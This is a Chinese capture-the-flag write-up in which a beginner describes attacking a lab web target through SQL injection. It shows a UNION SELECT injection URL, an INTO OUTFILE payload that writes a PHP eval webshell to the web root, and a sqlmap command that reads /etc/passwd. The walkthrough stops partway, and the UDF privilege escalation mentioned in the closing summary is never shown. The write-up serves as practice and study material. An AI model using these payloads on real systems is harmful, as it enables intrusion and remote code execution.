从去年12月末到现在2月中,也算是把这个靶场的大多数题目刷了一遍,自己也能算的上一个初学者把,本文具体的教程在b站上有(建立靶场的师傅),而本文记录自己的解题和思考过程。如果之前没有接触到这些知识点的同学,可能会感觉到比较吃力,这是正常的。
题目URL
目录
解题过程
sql注入写马
- 寻找注入点
- 寻找网站真实路径
- 写马失败,寻找可上传马的路径
- 上传成功,蚁剑连接
题目既然说了sql注入,又说flag在服务器根目录,所以仅仅是能注入获取数据库信息还是不行的,还得利用sql注入写入木马。
首先寻找到注入点。--存在注入的URL
http://106.15.50.112:8023/?r=content&cid=1
使用order by 语句 和union 注入 得知注入语句为 其中11 为注入点。

http://106.15.50.112:8023/?r=content&cid=-1%20and(1)UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13
接下来我们会有第二个问题 sql注入咋写马呢?
原理很简单:就是用into outfile函数将一个可以用来上传的php文件写到网站的根目录下
那么使用语句
http://106.15.50.112:8023/?r=content&cid=-1%20and(1)UNION SELECT 1,2,3,4,5,6,7,8,9,10,<?php @eval($_REQUEST['aaa']);?>,12,13 into outfile "/var/www/html/aaa.php"
我们去访问,发现访问不到。。。。????用sqlmap也是一样的
所以就引入了另一个知识点
如果自己搭建过网站的话,自然要知道web应用的位置默认都在/var/www/html/,我们一般网页的文件都是在这上面,但是如果开发者设计的话可以在/var/www/html/ 后修改网页文件存放位置。(这个是需要一点经验 。。。。)
如何寻找web文件放置的地方呢(写入木马的地址)
下面仍然是利用mysql的函数
sqlmap -u 'http://106.15.50.112:8023/?r=content&cid=15' --dbms "mysql" --file-read "/etc/passwd" --technique U

当然 sqlmap得到得信息不会显示出来,而是会在保存在sqlmap的文件夹中。

找到文件位置,打开文件(注意是 .local 有个 "." 需要注意)

本文记录了一位初学者通过SQL注入获取flag,包括寻找注入点、利用UNION SELECT写马、寻找web文件位置,以及使用UDF提权的过程。涉及技术有mysql注入、文件上传、web应用结构和Mysql UDF提权。
2238

被折叠的 条评论
为什么被折叠?



